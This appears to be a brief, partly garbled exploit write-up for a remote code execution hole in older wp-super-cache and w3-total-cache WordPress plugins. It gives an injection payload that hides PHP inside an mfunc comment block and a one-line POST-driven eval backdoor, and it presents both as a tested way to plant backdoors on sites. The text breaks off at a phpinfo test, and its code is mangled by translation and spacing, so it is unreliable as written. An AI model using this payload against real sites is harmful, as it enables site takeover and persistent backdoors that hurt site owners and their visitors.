Exploitation of wordpress cache plug-in Remote Code Execution Vulnerability

Vulnerability plug-in name and version: 1. wp-super-cache versions earlier than 1.3 2. w3-total-cache 0.9.2.9 or earlier versions of these two plug-ins have been fixed officially ..... the vulnerability principle is that when the cache plug-in generates a new cache for a page, PHP code snippets are parsed. We write the PHP code into the comments of the target article. After the cache is updated, We can insert backdoors and other behaviors. Both plug-ins have been tested and can be successful... method of exploits: Insert the following code in the comments: <! -- Mfunc eval (base64_decode (redacted, see a trend here); --> <! --/Mfunc -->/* base64 encryption such as */eval ($ _ POST ["i0day"]); /* one-sentence Backdoor can be executed here * // * You can use fopen to generate a sentence .... test phpinfo: